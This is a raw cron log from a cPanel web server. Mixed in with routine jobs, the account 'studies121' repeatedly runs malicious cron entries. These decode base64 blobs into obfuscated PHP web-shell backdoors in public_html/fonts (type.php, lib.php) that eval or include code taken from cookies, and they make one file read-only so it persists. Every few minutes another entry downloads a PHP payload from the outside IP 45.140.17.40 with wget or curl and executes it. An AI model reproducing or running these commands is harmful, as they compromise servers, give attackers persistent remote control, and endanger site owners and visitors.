Sep 10 19:29:01 ip-184-168-122-23 CROND[30126]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 19:29:01 ip-184-168-122-23 CROND[30128]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 19:30:01 ip-184-168-122-23 CROND[30236]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 19:30:01 ip-184-168-122-23 CROND[30238]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 19:30:01 ip-184-168-122-23 CROND[30239]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 19:30:01 ip-184-168-122-23 CROND[30240]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 19:30:01 ip-184-168-122-23 CROND[30243]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 19:30:01 ip-184-168-122-23 CROND[30246]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 19:30:01 ip-184-168-122-23 CROND[30244]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 19:30:01 ip-184-168-122-23 CROND[30245]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 19:31:01 ip-184-168-122-23 CROND[30340]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 19:31:01 ip-184-168-122-23 CROND[30342]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 19:31:01 ip-184-168-122-23 CROND[30345]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 19:31:01 ip-184-168-122-23 CROND[30346]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 19:31:01 ip-184-168-122-23 CROND[30347]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 19:32:01 ip-184-168-122-23 CROND[30526]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 19:32:01 ip-184-168-122-23 CROND[30529]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 19:32:01 ip-184-168-122-23 CROND[30528]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 19:32:01 ip-184-168-122-23 CROND[30530]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 19:32:01 ip-184-168-122-23 CROND[30531]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 19:33:01 ip-184-168-122-23 CROND[30639]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 19:33:01 ip-184-168-122-23 CROND[30642]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 19:33:01 ip-184-168-122-23 CROND[30641]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 19:33:01 ip-184-168-122-23 CROND[30640]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 19:34:02 ip-184-168-122-23 CROND[30738]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 19:34:02 ip-184-168-122-23 CROND[30740]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 19:34:02 ip-184-168-122-23 CROND[30741]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 19:34:02 ip-184-168-122-23 CROND[30742]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 19:34:02 ip-184-168-122-23 CROND[30744]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 19:35:01 ip-184-168-122-23 CROND[30837]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 19:35:01 ip-184-168-122-23 CROND[30839]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 19:35:01 ip-184-168-122-23 CROND[30845]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 19:35:01 ip-184-168-122-23 CROND[30842]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 10 19:35:01 ip-184-168-122-23 CROND[30844]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 19:35:01 ip-184-168-122-23 CROND[30843]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 19:35:01 ip-184-168-122-23 CROND[30846]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 19:35:01 ip-184-168-122-23 CROND[30847]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 19:36:01 ip-184-168-122-23 CROND[30979]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 19:36:01 ip-184-168-122-23 CROND[30981]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 19:36:01 ip-184-168-122-23 CROND[30983]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 19:36:01 ip-184-168-122-23 CROND[30984]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 19:36:01 ip-184-168-122-23 CROND[30982]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 19:37:01 ip-184-168-122-23 CROND[31098]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 19:37:01 ip-184-168-122-23 CROND[31099]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 19:37:01 ip-184-168-122-23 CROND[31100]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 19:37:01 ip-184-168-122-23 CROND[31101]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 19:38:01 ip-184-168-122-23 CROND[31288]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 19:38:01 ip-184-168-122-23 CROND[31290]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 19:38:01 ip-184-168-122-23 CROND[31291]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 19:38:01 ip-184-168-122-23 CROND[31293]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 19:38:01 ip-184-168-122-23 CROND[31294]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 19:39:01 ip-184-168-122-23 CROND[31392]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 19:39:01 ip-184-168-122-23 CROND[31394]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 19:39:01 ip-184-168-122-23 CROND[31396]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 19:39:01 ip-184-168-122-23 CROND[31395]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 19:39:01 ip-184-168-122-23 CROND[31397]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 10 19:40:01 ip-184-168-122-23 CROND[31501]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 19:40:01 ip-184-168-122-23 CROND[31502]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 19:40:01 ip-184-168-122-23 CROND[31503]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 19:40:01 ip-184-168-122-23 CROND[31506]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 19:40:01 ip-184-168-122-23 CROND[31507]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 19:40:01 ip-184-168-122-23 CROND[31510]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 19:40:01 ip-184-168-122-23 CROND[31512]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 19:40:01 ip-184-168-122-23 CROND[31515]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 19:41:01 ip-184-168-122-23 CROND[31617]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 19:41:01 ip-184-168-122-23 CROND[31621]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 19:41:01 ip-184-168-122-23 CROND[31620]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
